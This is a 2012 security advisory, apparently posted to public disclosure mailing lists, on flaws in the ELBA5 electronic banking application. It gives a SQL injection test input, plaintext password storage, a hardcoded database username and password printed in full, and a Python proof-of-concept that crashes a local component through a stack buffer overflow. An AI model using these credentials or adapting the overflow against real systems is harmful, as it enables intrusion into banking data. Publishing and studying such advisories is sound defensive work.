[<prev] [next>] [day] [month] [year] [list]
Message-ID: <20121220153904.617a5859@sec-consult.com>
Date: Thu, 20 Dec 2012 15:39:04 +0100
From: SEC Consult Vulnerability Lab <research@...-consult.com>
To: bugtraq <bugtraq@...urityfocus.com>, <full-disclosure@...ts.grok.org.uk>
Subject: SEC Consult SA-20121220-0 :: Multiple
vulnerabilities in ELBA Electronic Banking application
SEC Consult Vulnerability Lab Security Advisory < 20121220-0 >
=======================================================================
title: Multiple Vulnerabilities in ELBA5
product: ELBA 5
vulnerable version: 5.5.0 R00006 build 0796
fixed version: 5.6.0 R3
impact: Medium
homepage: http://www.elba.at/
found: 10.08.2012
by: Kestutis Gudinavicius
SEC Consult Vulnerability Lab
https://www.sec-consult.com
=======================================================================
Vendor description:
-------------------
ELBA electronic banking is a multi-user, multi-protocol banking application.
For details, see http://www.elba.at.
Vulnerability overview/description:
-----------------------------------
1) Due to insufficient input validation, the application is vulnerable to a
second order SQL injection. By exploiting a SQL injection vulnerability, an
attacker could gain access to all records stored in the database.
2) The ELBA application stores user passwords as plaintext in the database. If
the database is compromized, for example, by exploiting a SQL injection
vulnerability an attacker could retrieve unencrypted passwords and use them to
take over user accounts.
3) Stand-alone and network versions of ELBA5 use default credentials in order to
connect to a database. Credentials cannot be changed, for example, by editing a
configuration file, because they are hardcoded in the application. The installation
guide does not mention a possibility of setting a custom password in order to
connect to a database. An attacker can easily extract credentials from the
publicly available versions of ELBA5 and use them against the legitimate systems
running the vulnerable software.
4) The application uses the Java Desktop Integration Components (JDIC) package
to extend its functionality. The JDIC package contains the executable IeEmbed.exe,
which is vulnerable to a stack based buffer overflow. An attacker is able to
execute arbitrary code in the context of the user when sending a specially
crafted packet to the locally accesible TCP port bound by the IeEmbed.exe. This
vulnerability is highly severe in multi user environments such as Citrix - one
terminal user can attack other terminal users.
Proof of concept:
-----------------
1) A SQL injection payload that is injected in the name of the account group field
during the creation of an account group is later used unescaped by some forms of
the application. To test this issue, it is sufficient to add a new account group
(Master Data -> More -> Account Groups) that contains a single quote character
in its name e.g. "SQL_INJECTION'" and navigate to the Payments -> Finished
orders or Payments -> Packed orders form. Selecting a newly created account
group from the "Client account" drop-down list will result in a SQL syntax error
message.
The following output is an application debug message. It shows an affected SQL
statement. Note that the parameter "kgruppe" contains unescaped value resulting in
an invalid SQL query.
ERROR [a1b95f8175cd4c2] DataSourceDB.handleThrowable: DB-Fehler aufgetreten -> fullContent:
--- Message: current statement: SELECT a2.vfgid, bestand.bestNr, a1.zeichbed, bestand.uwkz, a2.zeichbed, a2.signnr, k.inhaber1, a1.signnr, bestand.sammler, bestand.anzahl, ebzsb.ebzid, edidoc.senden, bestand.vermerk, bestand.konto, a2.vfgname, a1.vfgname, bestand.umsvkn, bestand.status, rzkennung.rzkennung, edifile.edifilenr, aufart.zvart, a2.signstat, a1.signstat, bestand.summe, bestand.gwkz, a2.docnr, bestand.iban, bestand.kontoBez, a1.signkey, a1.docnr, a2.signkey, (select count(*) from aufkopf where bestand.bestnr = aufkopf.bestnr), bestand.blz, bestand.linRef, bestand.docNr, rzkennung.rzid, bestand.linNr, bestand.scode, COALESCE(edifile.vaxdat, edifile.senddat), rzkennung.bankbez, bestand.msgNr, bestand.wkz, a2.sign, a1.sign, bestand.kto, a1.vfgid, bestand.datArt, bestand.gvc, a1.vfgnr, bestand.matchcd, a2.vfgnr, bestand.art, bestand.dfDat, bestand.swift, bestand.kontrollwert
FROM bestand
join edimsg on bestand.docnr = edimsg.docnr and bestand.msgnr = edimsg.msgnr
join aufart on bestand.art = aufart.art
LEFT OUTER JOIN ( select zvk.konto, zvk.inhaber1, zvk.logicKto from ZVKONTO zvk union all select ek.konto, ek.inhaber, null from EXTKONTO ek) as k (konto, inhaber1, logicKto) on bestand.konto = k.konto
join edidoc on edimsg.docnr = edidoc.docnr
join rzkennung on edidoc.rzid = rzkennung.rzid
left outer join edifile on edidoc.edifilenr = edifile.edifilenr
left outer join autack a1 on edidoc.docnr = a1.adocnr and a1.vfgidx = 1
left outer join autack a2 on edidoc.docnr = a2.adocnr and a2.vfgidx = 2
left outer join ebzsb on edidoc.docnr = ebzsb.adocnr
WHERE 1=1 AND
edidoc.status in ( 15, 16, 11, 12, 13, 14 ) AND (
coalesce(bestand.konto, 0) = 0 OR
bestand.konto in ( select konto from BEDKTO where bediener = 3) ) AND
(COALESCE(k.logicKto, k.konto) in (select konto from grpkto where kgruppe = 'SQL_INJECTION' '))
ORDER BY bestand.docNr desc, bestand.msgNr, bestand.linNr---
2) The unencrypted user credentials are stored in the database table BEDIENER,
the affected column is PASSWORT.
3) Despite the fact that some parts of the application are obfuscated it is
relatively easy to extract hardcoded database credentials using a debugger. The
following credentials were extracted and used to successfully connect to the
remote ELBA5 databases:
uid=elba
pwd=i#aG_7Yd9#
4) The component IeEmbed.exe is launched every time when a user navigates to, for
example, Accounts -> Account overview form. The component starts listening on a
random TCP port and binds to localhost. When parsing a data packet that is
supposed to be converted to a HTTP POST request, the component IeEmbed.exe
allocates a fixed size array to hold the HTTP headers, but fails to validate the
user supplied data. By providing a large enough string (more than 2048 bytes)
the stack buffer is overflowed. To test this vulnerability, a similar to the
following data was sent to the TCP port that was opened by the component
IeEmbed.exe. The value 2556364 was the handle of the arbitrary active window
and the {A x 4096} value represents the 4096 bytes length string.
0,1,2556364</html><body></html>
0,6,http://localhost0,6,foo=bar0,6,AAAAAAAAAAAA...{A x 4096}...AAAAAAAA</html><body></html>
A harmless proof of concept code (Python (2.x) is required) is provided below.
Running it will result in a crash of the component IeEmbed.exe. Crash details
can be analyzed using a debugger.
import socket
import sys
EIP='\xaa\xaa\xaa\xaa'
def socket_read(sock):
data = ''
sock.settimeout(1)
while True:
try:
buff = sock.recv(1024)
except socket.timeout:
break
data += buff
if not buff: break
return data
if __name__ == '__main__':
if len(sys.argv) != 3:
print "Usage: ./%s <Target IP> <Port>" % sys.argv[0]
sys.exit(1)
host, port = sys.argv[1:]
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((host, int(port)))
print '\n- Searching for the window handle\n'
for i in xrange(65552,70000):
pkt='0,1,%s</html><body></html>' % i
print 'Sending data (to %s:%i):\n%s' % (host, int(port), repr(pkt))
s.send(pkt)
data=socket_read(s)
if data:
print '\n- Sendind exploit payload\n'
pkt='0,6,http://localhost0,6,foo=bar0,6,' + 'A' * 2087 + EIP + '</html><body></html>'
print 'Sending data (to %s:%i):\n%s' % (host, int(port), repr(pkt))
s.send(pkt)
s.close()
break
sys.exit(1)
Vulnerable / tested versions:
-----------------------------
5.5.0 R00006 build 0796
Vendor contact timeline:
------------------------
2012-09-04: Contacting vendor through software@...on-linz.at.
2012-09-04: Vendor response: Issues will be investigated.
2012-09-25: Vendor response: New release with fixes will be published on 03.12.2012
2012-11-26: Vendor response: Release rescheduled to 17.12.2012
2012-12-20: Public disclosure of advisory
Solution:
---------
Upgrade to ELBA 5 5.6.0 R3
Workaround:
-----------
None
Advisory URL:
-------------
https://www.sec-consult.com/en/Vulnerability-Lab/Advisories.htm
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
SEC Consult Unternehmensberatung GmbH
Office Vienna
Mooslackengasse 17
A-1190 Vienna
Austria
Tel.: +43 / 1 / 890 30 43 - 0
Fax.: +43 / 1 / 890 30 43 - 25
Mail: research at sec-consult dot com
https://www.sec-consult.com
EOF K. Gudinavicius / @2012
_______________________________________________
Full-Disclosure - We believe in it.
Charter: http://lists.grok.org.uk/full-disclosure-charter.html
Hosted and sponsored by Secunia - http://secunia.com/
Powered by blists - more mailing lists